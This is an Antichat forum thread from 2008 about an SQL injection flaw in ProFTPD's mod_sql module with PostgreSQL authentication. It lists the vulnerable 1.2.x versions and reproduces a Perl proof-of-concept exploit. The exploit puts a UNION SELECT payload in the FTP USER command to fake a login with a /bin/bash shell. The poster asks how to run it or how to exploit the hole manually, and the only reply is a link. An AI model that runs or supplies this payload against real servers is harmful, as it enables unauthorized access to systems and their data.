Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   неавторизованный доступ (ProFTPD) (https://forum.antichat.xyz/showthread.php?t=64436)

*.exe 16.03.2008 00:11

неавторизованный доступ (ProFTPD)
 
Описание

SQL-инъекция обнаружена в модуле mod_sql Pro_FTPD сервера. Во время аутентификации к серверу баз данных PostregSQL mod_sql_postreg некорректно обрабатывает escape строки, что позволяет удаленному атакующему в качестве имени пользователя использовать SQL запрос и получить неавторизованный доступ к базе данных на сервере.

Уязвимые версии:
PHP код:

ProFTPD Project ProFTPD 1.2 pre9 
ProFTPD Project ProFTPD 1.2 pre8 
ProFTPD Project ProFTPD 1.2 pre7 
ProFTPD Project ProFTPD 1.2 pre6 
ProFTPD Project ProFTPD 1.2 pre5 
ProFTPD Project ProFTPD 1.2 pre4 
ProFTPD Project ProFTPD 1.2 pre3 
ProFTPD Project ProFTPD 1.2 pre2 
ProFTPD Project ProFTPD 1.2 pre11 
ProFTPD Project ProFTPD 1.2 pre10 
ProFTPD Project ProFTPD 1.2 pre1 
ProFTPD Project ProFTPD 1.2 .0rc3 
ProFTPD Project ProFTPD 1.2 .0rc2 
ProFTPD Project ProFTPD 1.2 .0rc1 
ProFTPD Project ProFTPD 1.2 
ProFTPD Project ProFTPD 1.2.1 
ProFTPD Project ProFTPD 1.2.2 rc3 
ProFTPD Project ProFTPD 1.2.2 rc1 
ProFTPD Project ProFTPD 1.2.2 
ProFTPD Project ProFTPD 1.2.3 
ProFTPD Project ProFTPD 1.2.4 
ProFTPD Project ProFTPD 1.2.5 rc1 
ProFTPD Project ProFTPD 1.2.5 
ProFTPD Project ProFTPD 1.2.6 
ProFTPD Project ProFTPD 1.2.7 rc3 
ProFTPD Project ProFTPD 1.2.7 rc2 
ProFTPD Project ProFTPD 1.2.7 rc1 
ProFTPD Project ProFTPD 1.2.7 
ProFTPD Project ProFTPD 1.2.8 
ProFTPD Project ProFTPD 1.2.9 rc1 

Эксплойт написан на perle, в котором я вообще не рублю ........ Подскажите как его юзать ? или если кто в курсе мож как-нибудь в ручную дыру можно юзать ?

Код:

#!/usr/bin/perl
# Sql inject on ProFTPD with mod_sql proof of concept script
# runlevel [ runlevel@raregazz.org ]
# Spain, 2003

use IO::Socket;
if(@ARGC<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
                          or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able \n";
}else{
    print "[------- Sql Inject Unable \n";
}
close $remote;


FileFIL 17.03.2008 17:54

http://forum.antichat.ru/thread6033.html ?


Время: 22:56